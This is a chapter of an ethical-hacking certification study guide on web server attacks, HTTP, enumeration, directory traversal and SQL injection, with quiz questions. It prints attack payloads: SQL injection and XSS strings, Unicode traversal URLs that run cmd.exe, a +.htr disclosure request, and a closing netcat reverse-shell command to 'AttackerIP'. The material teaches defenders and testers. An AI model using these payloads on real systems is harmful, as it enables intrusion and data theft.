Chapter 7. Web Server Hacking, Web Applications, and Database Attacks

This chapter covers the following topics:

  • Web Server Hacking: Because they are available to anyone with an Internet connection, web servers are a constant target of attackers.

  • Web Application Hacking: Application developers have an important job in that they must verify all data and understand that all input/output and processed data must be validated because organizations rely heavily on modern web applications.

  • Database Hacking: SQL injection has been one of the most common attacks for years. It takes advantage of unvalidated input and potentially can give attackers access to sensitive data (even credit card numbers).

Web-based applications are everywhere. You can find them for online retail, banking, enterprise applications, mobile, and the Internet of Things (IoT) applications. Thanks to the advancements in modern web applications and related frameworks, the ways we create, deploy, and maintain web applications have changed such that the environment is now very complex and diverse. These advancements in web applications have also attracted threat actors.

In this chapter, you learn how to assess and exploit application-based vulnerabilities. The chapter starts with an overview of web applications. It also provides guidance on how you can build your own web application lab. In this chapter, you gain an understanding of injection-based vulnerabilities. You also learn about ways threat actors exploit authentication and authorization flaws. In this chapter, you gain an understanding of cross-site scripting (XSS) and cross-site request forgery (CSRF/XSRF) vulnerabilities and how to exploit them. You also learn about clickjacking and how threat actors may take advantage of security misconfigurations, file inclusion vulnerabilities, and insecure code practices. As an ethical hacker, you might be asked to help develop defenses to guard your organization’s web-based assets, or you might be part of a penetration team tasked with finding weaknesses. There will be many items to review. Businesses that operated as bricks and mortar 10 years ago are probably bricks and clicks today. The web applications and SQL databases these companies use make tempting targets for today’s cybercriminals. The CEH exam expects you to have a base competency in these subjects. Let’s get started by reviewing web servers.

“Do I Know This Already?” Quiz

The “Do I Know This Already?” quiz enables you to assess whether you should read this entire chapter thoroughly or jump to the “Exam Preparation Tasks” section. If you are in doubt about your answers to these questions or your own assessment of your knowledge of the topics, read the entire chapter. Table 7-1 lists the major headings in this chapter and their corresponding “Do I Know This Already?” quiz questions. You can find the answers in Appendix A, “Answers to the ‘Do I Know This Already?’ Quizzes and Review Questions.”

Table 7-1 “Do I Know This Already?” Section-to-Question Mapping

Foundation Topics Section

Questions

Web Server Hacking

1–3

Web Application Hacking

4–7

Database Attacks

8–10

Caution

The goal of self-assessment is to gauge your mastery of the topics in this chapter. If you do not know the answer to a question or are only partially sure of the answer, you should mark that question as wrong for purposes of the self-assessment. Giving yourself credit for an answer you correctly guess skews your self-assessment results and might provide you with a false sense of security.

1. Which of the following HTTP Methods is used to send data to the server (typically using HTML forms, API requests, and so on)?

a. POST

b. GET

c. TRACE

d. CONNECT

2. After identifying possible web servers, the attacker usually attempts to enumerate additional details about the server and its components, such as the web server version and type. Which of the following techniques is used to perform this task?

a. XSS

b. CSRF

c. XML injection

d. Banner grabbing and enumeration

3. Which of the following attacks is also referred to as UI redress attacks?

a. Clickjacking

b. Banner grabbing

c. XSS

d. XXE

4. Which of the following is a type of injection attack against web applications?

a. Command Injection

b. LDAP Injection

c. File injection

d. All of the above

5. Which of the following is a type of XSS attack?

a. Reflected

b. DOM-based

c. Stored

d. All of the above

6. Which of the following is a good tool to use as a proxy between the web application and the browser?

a. Hping

b. Brutus

c. Hydra

d. OWASP ZAP

7. What type of vulnerabilities can be triggered by using the following string?

<STYLE TYPE="text/javascript">alert("some code");</STYLE>

a. CSRF

b. XSS

c. SQL injection

d. Buffer overflow

8. Which of the following is an attack where the attacker does not make the application display or transfer any data, but instead, can reconstruct the information by sending specific statements and discerning the behavior of the application and database?

a. In-band SQL injection

b. Blind SQL injection

c. Union SQL injection

d. Numeric SQL injection

9. Which of the following is used to test for SQL injection?

a. <IMG SRC=“jav&#x09;ascript:alert(‘code’);”>

b. 123456 or ‘1’=1’

c. <BODY ONLOAD=alert(‘code’)>

d. All of the above

10. What type of attack is shown in the following example?

https://store.h4cker.org/buyme.php?id=1234' UNION SELECT 1,
user_name,password,'1','1','1',1 FROM user_system_data --

a. Boolean SQL injection

b. Time-based SQL injection

c. Union SQL injection

d. None of the above

Foundation Topics

Web Server Hacking

Web applications use many protocols; the most prevalent is the Hypertext Transfer Protocol (HTTP). This book assumes that you have a basic understanding of Internet protocols and their use. However, let’s deep-dive into the components of protocols like HTTP that you will find in pretty much all web applications.

The HTTP Protocol

Image

Developers must keep security in the forefront of their minds; otherwise, they might pay the price as hackers discover vulnerabilities. Historically, web servers are one of the most targeted pieces of infrastructure because a web server is the one thing the attacker can always get to. The attacker might not have physical or logical access to your internal or external network, but your web server is always accessible via any Internet connection.

Hypertext Markup Language (HTML) and Hypertext Transfer Protocol (HTTP) were the standards that originally defined web architecture. Although other transport protocols and applications have become available, HTTP continues to be the basic medium of communication on the Web (and will continue to be for some time to come). HTTP is a relatively simple, stateless, ASCII-based protocol. Unlike other applications, HTTP’s TCP session does not stay open while waiting for multiple requests and their responses.

When we refer to an HTTP client, we are talking about browsers, proxies, API clients, and other custom HTTP client programs. HTTP is a very simple protocol, which is both a good thing and a bad thing. In most cases, HTTP is categorized as a stateless protocol, which does not rely on a persistent connection for communication logic. An HTTP transaction consists of a single request from a client to a server, followed by a single response from the server back to the client. HTTP is different from stateful protocols, such as FTP, SMTP, IMAP, and POP. When a protocol is stateful, sequences of related commands are treated as a single interaction. The server must maintain the “state” of its interaction with the client throughout the transmission of successive commands, until the interaction is terminated. A sequence of transmitted and executed commands is often called a session.

By default, HTTP uses TCP port 80, and it has four primary stages (illustrated in Figure 7-1).

  1. A client initiates a TCP request to the IP address and port number in the URL to the web server (http://h4cker.org in this example). Figure 7-1 is oversimplified. The TCP three-way handshake is completed in this stage.

    A figure shows four primary stages of establishing a HTTP Connections between a client and a server.

    Figure 7-1 HTTP Connections

  2. The client requests a service to the web server by sending request headers to define a method, such as GET.

  3. The server replies with response headers that contain data (typically HTML content).

  4. The TCP connection is closed.

In Example 7-1, the Linux tcpdump utility (command) is used to capture the packets from the client (192.168.78.6) to the web server while accessing a website at http://web.h4cker.org/omar.html.

Example 7-1 Packet Capture of the HTTP Request and Response Using tcpdump

Click here to view code image

omar@client:~$ sudo tcpdump net 185.199.0.0/16

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on enp9s0, link-type EN10MB (Ethernet), capture size 262144 bytes

23:55:13.076301 IP 192.168.78.6.37328 > 185.199.109.153.http: Flags [S], seq

3575866614, win 29200, options [mss 1460,sackOK,TS val 462864607 ecr

0,nop,wscale 7], length 0

23:55:13.091262 IP 185.199.109.153.http > 192.168.78.6.37328: Flags [S.], seq
3039448681, ack 3575866615, win 26960, options [mss 1360,sackOK,TS val 491992242
ecr 462864607,nop,wscale 9], length 0

23:55:13.091322 IP 192.168.78.6.37328 > 185.199.109.153.http: Flags [.], ack 1, win
229, options [nop,nop,TS val 462864611 ecr 491992242], length 0

23:55:13.091409 IP 192.168.78.6.37328 > 185.199.109.153.http: Flags [P.], seq 1:79,
ack 1, win 229, options [nop,nop,TS val 462864611 ecr 491992242], length 78: HTTP:
GET / HTTP/1.1

23:55:13.105791 IP 185.199.109.153.http > 192.168.78.6.37328: Flags [.], ack 79,
win 53, options [nop,nop,TS val 491992246 ecr 462864611], length 0

23:55:13.106727 IP 185.199.109.153.http > 192.168.78.6.37328: Flags [P.], seq
1:6404, ack 79, win 53, options [nop,nop,TS val 491992246 ecr 462864611], length
6403: HTTP: HTTP/1.1 200 OK

23:55:13.106776 IP 192.168.78.6.37328 > 185.199.109.153.http: Flags [.], ack 6404,
win 329, options [nop,nop,TS val 462864615 ecr 491992246], length 0

In Example 7-1, you can see the packets that correspond to the steps shown in Figure 7-1. The client and the server first complete the TCP three-way handshake (SYN, SYN-ACK, ACK). Then the client sends an HTTP GET (Request), and the server replies with a TCP ACK and the contents of the page (with an HTTP 200 OK response).

Tip

Download Wireshark from https://www.wireshark.org/download.html and establish a connection between your browser and any web server. It is highly recommended that you understand how any protocol and technology work behind the scenes. One of the best ways to learn is to collect packet captures and analyze how the devices communicate.

There’s more to the Web than HTTP. The standard web application is the web browser, such as Microsoft Edge, Safari, Chrome, or Firefox. The transport protocol might be HTTP, but it might also be used with Secure Sockets Layer (SSL), Transport Layer Security, or other protocols to provide encryption. The web server is responsible for answering the web browser’s requests. Although Internet Information Services (IIS) remains one of the most popular web servers, it has lost ground to Apache and to Nginx.

When HTTP servers and browsers communicate with each other, they perform interactions based on headers as well as body content. The HTTP Request has the following structure:

  1. The METHOD, which in this example is an HTTP GET. However, the HTTP methods can be the following:

    • GET: Retrieves information from the server.

    • HEAD: Basically, this is the same as a GET, but it returns only HTTP headers and no document body.

    • POST: Sends data to the server (typically using HTML forms, API requests, and the like).

    • TRACE: Does a message loop-back test along the path to the target resource.

    • PUT: Uploads a representation of the specified URI.

    • DELETE: Deletes the specified resource.

    • OPTIONS: Returns the HTTP methods that the server supports.

    • CONNECT: Converts the request connection to a transparent TCP/IP tunnel.

  2. The URI and the path-to-resource field represent the path portion of the requested URL.

  3. The request version-number field specifies the version of HTTP used by the client.

  4. The user agent is Chrome in this example, and it was used to access the website. In the packet capture, you see:

    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4)
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181
    Safari/537.36
    .
  5. Next, you see several other fields like accept, accept-language, accept encoding, and others.

  6. The server, after receiving this request, generates a response.

  7. The server response has a three-digit status code and a brief human-readable explanation of the status code. Then below you see the text data (which is the HTML code coming back from the server and displaying the website contents).

Tip

It is important that you become familiar with the status codes of the HTTP messages. The W3 schools website has a very good explanation at https://www.w3schools.com/tags/ref_httpmessages.asp.

The HTTP status code messages can be in the following ranges:

  • Messages in the 100 range are informational.

  • Messages in the 200 range are related to successful transactions.

  • Messages in the 300 range are related to HTTP redirections.

  • Messages in the 400 range are related to client errors.

  • Messages in the 500 range are related to server errors.

HTTP and other protocols use URLs. You are definitely familiar with an URL because you use them every day. However, I want to explain each of the elements of a URL so you can get an understanding of how to abuse some of these parameters and elements from an offensive security perspective.

Take a look at the following URL:

https://web.h4cker.org:8123/dir/test;id=89?name=omar&x=true

Let’s break the URL down into its component parts:

  • Scheme: This portion of the URL designates the underlying protocol to be used (for example, HTTP or FTP); it is followed by a colon and two forward slashes. In the example URL, the scheme is HTTP.

  • Host: This is the IP address (numeric or DNS-based) for the web server being accessed; it usually follows the colon and two forward slashes. In this case, the host is the theartofhacking.org website.

  • Port: This is an optional portion of the URL designating the port number to which the target web server listens. (The default port number for HTTP servers is 80, but some configurations are set up to use an alternate port number. In this case, the server is configured to use port 8123.)

  • Path: This is the path from the “root” directory of the server to the desired resource. In this case, we see that there is a directory called dir. (In reality, web servers might use aliasing to point to documents, gateways, and services that are not explicitly accessible from the server’s root directory.)

  • Path-segment-params: This is the portion of the URL that includes optional name-value pairs (also called “path segment parameters”). Path-segment parameters might be preceded by a semicolon (depending on the programming language used), and they appear immediately after the path information. In the example URL, the path-segment parameter is id=89. Path-segment parameters are not commonly used. Also, it is worth mentioning that these parameters are different from query-string paramenters (often referred to as URL parameters).

  • Query-string: This optional portion of the URL contains name-value pairs, which represent dynamic parameters associated with the request. These parameters are commonly included in links for tracking and context-setting purposes. They may also be produced from variables in HTML forms. Typically, the query string is preceded by a question mark. Equals signs (=) separate names and values, and ampersands (&) mark the boundaries between name-value pairs. In the example URL, the query string is name=omar&x=true.

Note

The URL notation here applies to most protocols (for example, HTTP, HTTPs, and FTP).

Other underlying protocols, like HTML and CSS, and other protocols are used on things like SOAP and RESTful APIs. For example, JSON, XML, web processing service or WPS (which is not the same as the WPS in wireless networks).

The current HTTP versions are 1.1 and 2.0. Figure 7-2 shows an example of an HTTP 1.1 exchange between a web client and a web server.

A figure shows nine stages of the HTTP 1.1 exchange between a client and a server.

Figure 7-2 The HTTP 1.1 Exchange

Figure 7-3 shows an example of an HTTP 2.0 exchange between a web client and a web server.

A figure shows seven stages of the HTTP 2.0 multiplexing between a client and a server.

Figure 7-3 The HTTP 2.0 Exchange

There is also the concept of HTTP proxies, which act as both servers and clients. Proxies make requests to web servers on behalf of other clients. They enable HTTP transfers across firewalls and can also provide support for caching of HTTP messages. Proxies can perform other roles in complex environments, including network address translation (NAT) and filtering of HTTP requests.

Note

Later in this chapter, you will learn how to use tools such as Burp and the ZAP proxy to intercept communications between your browser or a client and the web server.

HTTP is an application-level protocol in the TCP/IP protocol suite, using TCP as the underlying Transport Layer protocol for transmitting messages. The HTTP protocol uses a Request-Response model. Figure 7-4 shows a very simple topology including a client, a proxy, and a web (HTTP) server.

A simple network topology shows a client, a proxy, and a webserver connected via internet.

Figure 7-4 A Web Client, Proxy, and Web (HTTP) Server

Somewhere behind these web applications, there is most likely a database. This potentially attractive target might hold credit card numbers or other sensitive information. Figure 7-5 shows an overview of this infrastructure.

A network topology illustrates the web infrastructure.

Figure 7-5 Web Infrastructure

Web attacks can focus on many pieces of this infrastructure. Just as with another network service, the attacker must first identify what is present and offers the best mode of attack. Web attacks focus on the following:

Image
  • Port scanning: Tools such as Nmap and SuperScan can be used.

  • Banner grabbing and enumeration: Identifies the server and version. Netcat and Telnet are useful here. Nikto is also a web application vulnerability scanner that can perform banner grabbing and enumeration.

  • Vulnerability Scanning: Tools used to identify vulnerabilities or items that are unpatched. OpenVAS and Nessus are two examples of vulnerability scanners.

Tip

Understand the basic components of the web infrastructure. Know how the web server and client interact, as well as common methods and systems used by each. For example, web servers usually run applications such as Flash, PHP, and Ruby.

Scanning Web Servers

You cannot attack what you don’t know exists. Therefore, after you have a target range of IP addresses, you will want to look for web services. Standard web servers run on port 80 or 443, but you should scan other ports when you look for web-based applications, including the following:

  • 80: HTTP

  • 88: Kerberos

  • 443: SSL (HTTPS)

  • 8005: Apache Tomcat

  • 8080: Squid

  • 9090: Sun Web Server Admin

The tools used to scan for these services are the same as discussed in Chapter 3, “Footprinting and Scanning.” Some of the most popular include the following:

  • ID Serve

  • SuperScan

  • Nmap

Banner Grabbing and Enumeration

After identifying possible web servers, the attacker usually attempts to enumerate and fingerprint additional details about the server and its components. Popular web servers include the following:

  • Apache Web Server

  • Nginx Web Server

  • Microsoft IIS Web Server

  • Oracle iPlanet Web Server (OiWS)

Before vulnerabilities specific to these platforms are discussed, let’s look at some of the tools used for enumeration.

One option that requires no install is available at https://www.netcraft.com. Netcraft runs a great service called “What’s that site running?” which gathers details about web servers. Netcraft is shown in Figure 7-6.

A screenshot shows Netcraft webpage. The webpage has a search bar on the left pane The right pane shows a text box to enter the URL and also displays background, network, and hosting history information.

Figure 7-6 Netcraft

You can also use tools such as Telnet to identify the web server. Just Telnet to the site and watch for the results:

omar@kali:~$ telnet 10.1.1.11 80
Trying 10.1.1.11...
Connected to 10.1.1.11.
Escape character is '^]'.
get
HTTP/1.1 400 Bad Request
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 307
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not
understand.<br />
</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at kube1.h4cker.org Port 80
</address>
</body></html>
Connection closed by foreign host.

ID Serve, HTTPRecon, DMitry, and Netcat are also useful tools to identify the web server. With Netcat, take these three simple steps and you’ll be ready for web server enumeration:

Step 1. Create a text file called header.txt:

GET HEADER / 1.0
[carriage return]
[carriage return]

Step 2. Run Netcat with the following parameters:

Click here to view code image

nc -vv webserver 80 < header.txt

Step 3. Watch the results:

Click here to view code image

omar@kali:~$ nc -vv 10.1.1.11 80 < header.txt
10.1.1.11: inverse host lookup failed: Unknown host
(UNKNOWN) [10.1.1.11] 80 (http) open
HTTP/1.1 400 Bad Request
Date: Mon, 10 Dec 2018 16:57:46 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 307
Connection: closeContent-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not
understand.<br />
</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at kube1.cisco.com Port 80</address>
</body></html>
sent 20, rcvd 489

Penetration testers can also use Nmap Scripting Engine (NSE) scripts to enumerate websites. NSE scripts are written in the Lua programming language. One of the advantages of NSE is that you can create your own scripts and customize the tests (unlike most web vulnerability scanners). The scripts can be run with one of the commands shown here:

nmap -sC
nmap --script

The -sC option enables the most common scripts, while running the –script option enables you to specify the script. The –script option also takes comma-separated values as arguments. The arguments specify which scripts will be executed upon starting Nmap. Several examples are shown here:

  • nmap sV -O -p IP_address

  • nmap -sV --script=http-enum IP_address

  • nmap IP_address -p 80 --script = http-frontpage-login

  • nmap --script http-passwd -- script-args http-passwd.root =/ IP_address

Let’s look at the last example in more detail. Notice how it checks to see whether a web server is vulnerable to directory traversal by attempting to retrieve /etc/passwd or oot.ini.

nmap --script http-passwd --script-args http-passwd.root=/test/
192.168.123.180
80/tcp openhttp
| http-passwd: Directory traversal found.
| Payload: "../../../../../../../../../../etc/passwd"
| Printing first 250 bytes:
| root:$1$$icts.JXC4iLDkaBIIA7fz.:0:0::/:/bin/sh
| sshd:*:65531:65532::/:/bin/false
| tftp:*:65533:65535::/:/bin/false

Tip

Know how to banner grab and identify common web servers. You will need to know how tools such as Nmap scripts function.

An open source application called Wikto is an extended version of Nikto. It was developed at SensePost, and you can download it from https://github.com/sensepost/wikto. This tool is great because it can thoroughly examine web servers and probe for vulnerabilities. There are three main sections to Wikto, as shown in Figure 7-7:

  • A back-end miner

  • Nikto-like functionality

  • Googler

A screenshot shows the Wikto webpage.

Figure 7-7 Wikto

Finally, you want to examine the site in detail. You could manually crawl the site, but a site-ripping tool will speed up the process. Site rippers enable you to mirror a website and make a duplicate that you can handily store on your hard drive. These programs enable you to go through the site a page at a time and examine the HTML code to look for useful information. Some tools to help you with this task are shown next:

  • BlackWidow: A Windows website scanner and site ripper. Use it to scan a site and create a complete profile of the site’s structure, files, email addresses, external links, and even link errors.

  • Httprint: This is a Windows website scanner and site-mapping tool. Use it to rip websites and review them at your leisure. The following is an example of the output of Httprint:

    httprint 192.168.123.38
    Finger Printing on http://192.168.123.38:80/
    Finger Printing Completed on http://192.168.123.38:80/
    --------------------------------------------------
    Host: 192.168.123.38
    Derived Signature:
    Apache/2.4.25
    9E431BC86ED3C295811C9DC5811C9DC5050C5D32505FCFE84276E4BB811C9DC5
    0D6645B5821C9DC5811C9DC5CD37187C11CCC7D7811C9DC5811C9DC58A91CF57
      FAAA535B6ED3C395FCCC535B811C9DC5E2CE6927050C5D336ED3C3959E431B
      C86ED3C295F2CE69262A200B4C6ED3C2956ED3C2956ED3C2956ED3C285E1CE
      6923E2CE69236FD3C295811C9BC5E2CE6927E2CE6932
    Banner Reported: Apache/2.4.25
    Banner Deduced: Apache/2.4.x
    Score: 140
    Confidence : 93.34------------------------
  • Wget: This is a command-line tool for Windows and UNIX that will download the contents of a website and serve as an open source site ripper and duplicator.

  • curl: This is a command-line tool that can be used to retrieve data from web servers and many other systems running protocols such as: DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET, and TFTP.

Web Server Vulnerability Identification

Image

After the attacker has identified the vendor and version of the web server, the attacker then searches for vulnerabilities. For example, if the product is identified as Microsoft Word version 17.1, the attacker knows that it was released with Microsoft Office. With this information in hand, he could simply use a site like ExploitDB (https://www.exploit-db.com) that lists vulnerabilities for current and out-of-date systems. Other sites the attacker or penetration tester would most likely visit to identify possible vulnerabilities include the following:

Figure 7-8 shows a screenshot of the ExploitDB website. Notice how exploits are listed in category types, such as remote exploits, web application exploits, local exploits, and denial of service exploits.

A screenshot shows ExploitDB website. The website presents the list of public vulnerabilities.

Figure 7-8 ExploitDB.com

Attacking the Web Server

Look for attackers to take the path of least resistance. If it happens to be the web server, expect it to be targeted. The huge numbers of web server vulnerabilities that have been disclosed make this one of the first places to look for potential vulnerabilities.

Common web server attacks include the following:

Image
  • DoS/DDoS attacks

  • DNS server hijacking

  • DNS amplification attacks

  • Directory traversal

  • Man in the middle

  • Website defacement

  • Web server misconfiguration

  • HTTP response splitting

  • Web server password cracking

We’ll look at each of these attacks in turn and then explore IIS vulnerabilities, automated exploit tools, and techniques to secure your web server.

DoS/DDoS Attacks

Although a DoS/DDoS attack does not give the attackers access, it does allow them to disrupt normal communication to legitimate users. DDoS attacks have been performed by many types of attackers—such as hacktivists, criminals, and even state-sponsored threat actors—to cause disruption. This attack technique is discussed in detail in Chapter 6, “Sniffers, Session Hijacking, and Denial of Service.”

Note

DoS attacks might target a user or an entire organization and can affect the availability of target systems or the entire network.

DNS Server Hijacking and DNS Amplification Attacks

DNS hijacking may be possible if the attacker can gain access to the DNS server and change the DNS setting so that the incoming requests to the web server are redirected to a malicious site. DNS can also be misused in other ways, such as a DNS amplification attack. A DNS amplification attack is a reflection-based DDoS attack. These attacks typically target DNS servers that support open recursive relay.

The idea is to turn a very small DNS query into a huge payload directed at the target network. This can result in an initial request that is about 40 bytes being amplified into a packer that is more than 4,000 bytes. If the attacker is using a botnet of compromised systems, these requests can be further amplified into a much greater size.

If the attacker uses DNSSEC to add even more data to the responses, as shown in Figure 7-9, the attack can be devastating. Methods to mitigate DNS amplification attacks include rate limiting and blocking all open recursive relay servers.

A figure shows the mechanism of the DNS amplification attack.

Figure 7-9 DNS Amplification Attack

Note

Be able to identify recursive relay as the leading problem enabling DNS amplification attacks.

Directory Traversal

Image

A directory traversal vulnerability (often referred to as path traversal) can allow attackers to access files and directories that are stored outside the web root folder.

Note

Directory traversal has many names, such as: “dot-dot-slash,” “directory climbing,” and “backtracking.”

You can exploit path traversal vulnerabilities by manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations, or by using absolute file paths to access files on the vulnerable system. Critical and sensitive information could be obtained by the attacker when exploiting directory traversal vulnerabilities.

Path traversal vulnerabilities might allow access to arbitrary files and directories stored on the file system, including application source code or configuration and critical system files.

You can search for these manually by looking to see how a resource is accessed. As an example, review the following URL:

http://web.h4cker.org/get-files?file=report.pdf

If the attacker finds such a URL, he could attempt to insert a value designed to access files located outside the specified web directory.

http://web.h4cker.org/get-files?file=../../../../some dir/some file

In Linux, the attacker can navigate in the entire disk, whereas with Microsoft Windows, the attacker can navigate only a partition. The source of this attack in Windows goes back many years and started when Unicode was developed as a replacement for ASCII.

You can use URL encoding, as demonstrated in the following example, to exploit directory (path) traversal vulnerabilities:

%2e%2e%2f is the same as ../
%2e%2e/ is the same as ../
..%2f is the same as ../
%2e%2e%5c is the same as ..

You can use several other combinations of encoding. You can also use operating system specific path structures such as / in Linux or Mac OS X systems and in Windows.

Unlike ASCII, Unicode uses a 16-bit dataspace; therefore, it can support a wide variety of alphabets, including Cyrillic, Chinese, Japanese, Arabic, and others. The source of the vulnerability is not the Unicode itself, but how it is processed. This vulnerability allows an attacker to back out of the current directory and go wherever he wants within the logical drive’s structure. Two iterations of this attack are the following:

  • Unicode: Can be exploited with character strings such as %c1%1c, %c0%af, %c1%pc, and so on

  • Double decode: Can be exploited with character strings such as %255c, %%35c, and so on

These attacks are possible because of the way in which the Unicode is parsed. These overly long strings bypass the filters that are designed to only check short Unicode. By using the Unicode syntax of ../../../, an attacker can traverse out of the current directory and run programs such as cmd.exe. After an attacker can execute commands on the local system, he is only a few steps away from owning the box. Here is what the command syntax looks like for such an attack:

http://web_server//scripts/..%c0%af..%c0%af..%c0%af..%c0%af..
/winnt/system32/cmd.exe?/c+dir+c:

The Nimda worm used this same vulnerability years ago to ravage web servers. Shown here is a Snort capture of what that traffic looked like. You should be able to recognize the similarities with the attack shown previously. Can you recognize the Unicode component?

0.0.0.0 - - [21/Feb/2019:01:14:03 +0000]
 "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
0.0.0.0 - - [21/Feb/2019:01:14:03 +0000]
 "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
0.0.0.0 - - [21/Feb/2019:01:14:03 +0000]
 "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
0.0.0.0 - - [21/Feb/2019:01:14:04 +0000]
 "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
0.0.0.0 - - [21/Feb/2019:01:14:04 +0000]
 "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
0.0.0.0 - - [21/Feb/2019:01:14:04 +0000]
 "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
0.0.0.0 - - [21/Feb/2019:01:14:04 +0000] "GET /scripts/..%25%35%63../
winnt/system32/cmd.exe?/c+dir
0.0.0.0 - - [21/Feb/2019:01:14:04 +0000]
 "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir

One of the easiest ways to search for this vulnerability is to use an Nmap script.

The following are a few best practices to prevent and mitigate directory traversal vulnerabilities:

  • Understand how the underlying operating system processes filenames provided by a user or an application.

  • Never store sensitive configuration files inside the web root directory.

  • Prevent user input when using file system calls.

  • Prevent users from supplying all parts of the path. You can do this by surrounding the user input with your path code.

  • Perform input validation by accepting only known good input.

Man-in-the-Middle Attacks

Man-in-the-middle attacks are used to get in-between the client and the server. The idea is that sensitive information can be observed or altered. Tools such as Burp Proxy and the OWASP Zed Attack Proxy (ZAP) can be used for just such situations. This category of attack is discussed in detail in Chapter 6.

Website Defacement

Website defacement is a category of attack in which the attack alters the visual appearance of a website. Password guessing, vulnerability exploit, and even SQL injections are common attack methods. This is a common technique and was used against EC-Council in 2014 when its website home page was replaced with an image of Edward Snowden’s passport. You can read more about this at https://www.scmagazine.com/ec-council-website-defaced-by-hacker/article/538697/.

Web Server Misconfiguration

Web server misconfiguration is another common attack vector. One example is the httpd.conf file:

<location /server-status>
SetHandler server-status
</Location>

This configuration file allows anyone to view the server status page, which contains detailed information about the current use of the web server. Another example is the php.ini file found on many web servers. When used, this file provides verbose error messages:

display_error = on
log_errors = on
Error_log = syslog
ignore_repeated_errors = Off

HTTP Response Splitting

HTTP response splitting is possible because the application or its environment does not properly sanitize input values. HTTP response splitting is mainly possible due to the lack of validation of user input, for characters such as CR and LF:

CR = %0d = 

LF = %0a = 

To prevent HTTP response splitting vulnerabilities, all forms of encoded data must be parsed for CR LF %0d%0a.

Understanding Cookie Manipulation Attacks

Cookie manipulation attacks are often referred to as Stored DOM-based attacks (or vulnerabilities). Cookie manipulation is possible when vulnerable applications store user input and then embed such input into a response within a part of the DOM. The stored user input is later processed in an unsafe manner by a client-side script. An attacker can use a JavaScript string (or other scripts) to trigger the DOM-based vulnerability. Such scripts can write controllable data into the value of a cookie.

You can take advantage of Stored DOM-based vulnerabilities to create a URL that will set an arbitrary value in the user’s cookie.

Note

The impact of the Stored DOM-based vulnerability depends on the role that the cookie plays within the application.

Tip

A best practice to avoid cookie manipulation attacks is not to dynamically write to cookies using data originating from untrusted sources.

Web Server Password Cracking

Authentication plays a critical role in the security of any website. There might be areas you want to restrict or content that is confidential or sensitive. There are many ways to authenticate users. Authentication can include something you know (such as a username and a password), something you have (such as a token or smart card), or even something you are (such as fingerprints, retina scans, or voice recognition). Authenticating with passwords is one of the most widely used forms of authentication, and also the weakest. As an example, WordPress is one of the most popular blogging platforms in the world and represents about 20 percent of all websites. A tool such as WPScan can be used to scan a WordPress website with about 500 of the most common passwords used in about one minute. Any website authentication page can be targeted for password cracking. If you are looking for a list of common passwords, take a look at https://wiki.skullsecurity.org/Passwords.

Now that we’ve covered some common web server attacks, let’s look at some web server software –specific vulnerabilities that have made headlines over the years.

Tip

Automated scanners and vulnerability assessment tools can also be used to break into web applications.

Web Server–Specific Vulnerabilities

Image

There are numerous web server packages in the industry nowadays. Some of the most popular web server software packages are Microsoft Internet Information Services (IIS), Apache httpd, and ngnix. These software packages have seen significant improvements in recent years, but older versions were not quite as secure. Regardless of the version, web servers can still be targeted. This section introduces a few of the more publicized vulnerabilities that have made headlines in the past.

Attacks come and go, so it is more important to understand the category of attack and how vulnerabilities are exploited than to understand the actual attack. One example is the ISAPI DLL buffer-overflow attack. The exploit targets idq.dll. When executed, this attack can lead to a buffer overflow that can compromise servers running IIS. What makes this vulnerability particularly malicious is that the service, part of IIS Indexing, does not even need to be actively running. Because idq.dll runs as system, the attacker can easily escalate his privilege and add himself as an administrator.

Source-disclosure attacks can be used to uncover passwords, web design, or business logic. One example is the IIS Web Distributed Authoring and Versioning (WebDAV) vulnerability. This attack targets a vulnerability in IIS 5.1/6.0 that enables arbitrary users to access secured WebDAV folders by searching for a password-protected folder and attempting to access it. An Nmap script can be used to check for this vulnerability. The script is shown here:

nmap --script http-iis-webdav-vuln -p80,8080 <host>

Another disclosure attack is the +.htr exploit. Because of vulnerabilities in the ISM.dll, IIS4, IIS5, and IIS6 can be made to disclose source data, instead of executing it. An attacker accomplishes this by appending +.htr to the global.asa file; Netcat can help exploit this vulnerability. First, create the following text file and name it htr.txt:

GET /victims_address/global.asa+.htr HTTP/1.0
CR
CR

Next, execute the following command:

nc -vv www.victim.com 80 < htr.txt

If the site is vulnerable, the attacker receives information similar to the following:

HTTP/1.1 200 OK
Server: Microsoft -IIS /6.0
Date: Wed, 11 Feb 2015 00:32:12 GMT
<!--filename = global.asa -->
("Profiles_ConnectionString")= "DSN=Profiles; UID=User;
password=secret"
("LDAPUserID")= "cn=Admin"
("LDAPPwd")= "p@ssw0rd"

The final step is for the attacker to shovel a shell with Socat or Netcat.

The attacker needs only to use Netcat to return a command shell with system privileges to his computer:

  1. Execute nc.exe -l -p <Open Port> from the attacker’s computer.

  2. Execute nc.exe -v -e cmd.exe AttackerIP <Open Port> from the victim’s IIS server that has cmdasp.asp loaded.

